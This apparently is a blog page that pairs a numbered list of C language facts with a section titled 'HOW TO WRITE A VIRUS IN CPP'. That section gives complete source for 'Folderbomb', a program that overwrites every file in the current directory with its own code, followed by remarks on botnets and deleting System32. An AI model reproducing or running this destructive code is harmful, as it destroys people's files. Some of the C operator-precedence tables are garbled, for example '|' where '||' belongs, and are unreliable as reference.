Quick Google Search

Showing posts with label CODING. Show all posts
Showing posts with label CODING. Show all posts

SOME IMP CONCEPTS of C language:


1.      C was invented and first implemented by Dennis Ritchie on a DEC PDP-11 that used the Unix operating system.

2.      main( ) is not a keyword.

3.      When you call a library function, the C compiler ''remembers" its name. Later, the linker combines the code you wrote with the object code already found in the standard library. This process is called linking. Some compilers have their own linker, while others use the standard linker supplied by your operating system.

4.      In C89, at least the first 6 characters of an external identifier and at least the first 31 characters of an internal identifier will be significant. C99 has increased these values. In C99, an external identifier has at least 31 significant characters, and an internal identifier has at least 63 significant characters. As a point of interest, in C++, at least the first 1,024 characters of an identifier are significant. These differences may be important if you are converting a program from C89 to C99, or from C to C++.

5.      All nonglobal variables are, by default, assumed to be auto,

6.      When a variable declared within an inner block has the same name as a variable declared by an enclosing block, the variable in the inner block hides the variable in the outer block.

7.      Local variables are stored on the stack. The fact that the stack is a dynamic and changing region of memory explains why local variables cannot, in general, hold their values between function calls.

8.      If a global variable and a local variable have the same name, all references to that variable name inside the code block in which the local variable is declared will refer to that local variable and have no effect on the global variable.

9.      The same object may have many declarations, but there can be only one definition.

10.  The names of local static variables are known only to the block of code in which they are declared; the names of global static variables are known only to the file in which they reside.

11.  Uninitialized global and static local variables are automatically set to zero.

12.  You can only apply the register specifier to local variables and to the formal parameters in a function. Global register variables are not allowed.

13.  In C, you cannot obtain the address of a register variable by using the & operator. This makes sense because a register variable may be stored in a register of the CPU, which is not usually addressable.

14.  Here is the precedence of the arithmetic operators:
                                             Highest              ++         – –
                                                           –        (unary minus)
                                                           *           /              %
                               Lowest                +           –

      
15.  Both the relational and logical operators are lower in precedence than the arithmetic operators.


16.  The following table shows the relative precedence of the relational and logical operators:
                           Highest                 !
                                                         > >= < <=
                                                           = = !=
                                                          &&
              Lowest                     |
17.    Highest ( ) [ ] –>.
! ~ ++ – – – (type) * & sizeof
* / %
+ –
<< >>
< <= > >=
== !=
&
^
|
&&
| |
?:
= += –= *= /= etc.
             Lowest                      ,

HOW TO WRITE A VIRUS IN CPP

Hey guys...,are you learning about programming on viruses.!! 0k..! Here is some source codes of a virus in C++. Learn it well. But dun run on your own computer. :P

Computer Virus (a software program capable of reproducing itself and usually capable of causing great harm to files or other programs on the same computer) "a true virus cannot spread to another computer without human assistance"


#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf("--------------------------------------------------------------------------");
printf("\nVirus: Folderbomb 1.0\nProgrammer:Shriraj Vitkar(utejasu@gmail.com)\n");
cprintf("--------------------------------------------------------------------------");
done = findfirst("*.*",&ffblk,0);
while (!done)
{ printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb");
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}


Because a lot of tutorials for writing viruses are left overs from the 90s. Virus writing these days is much much more sophisticated than it used to be.

In the old days the most common types of viruses were worms and trojans. These days it's bot nets. The old viruses were always coded by amateurs who were proving a point or trying to blackmail people etc. These days botnets are used to send spam, DDOS etc and are developed by professional developers for large amounts of cash.

Given that virus production is not a very profitable industry there is less and less willingness by people to share their secrets. Writing a virus is easy, writing code that by passes firewalls, anti-viruses, anti-malware, NATs is hard. Then you have to find a bunch of 0days to wrap it with so it has a viable means of replication.

Note 1: Deleting System32 on Windows Vista/7 should not work. The Operating System stores a complete redundant copy of all of them and replaces them if it notices that they have been modified. (Windows XP and 2000 may even do it too).

Note 2: Writing viruses is kinda of stupid these days. Modern day hackers are the people who create things like DropBox, Facebook, Google etc. The guys who push the limits of what we're already doing much further and make millions doing it. The guy writing a silly lil worm in his garage is what we see in movies, and what happened in the 90s. 

Popular Posts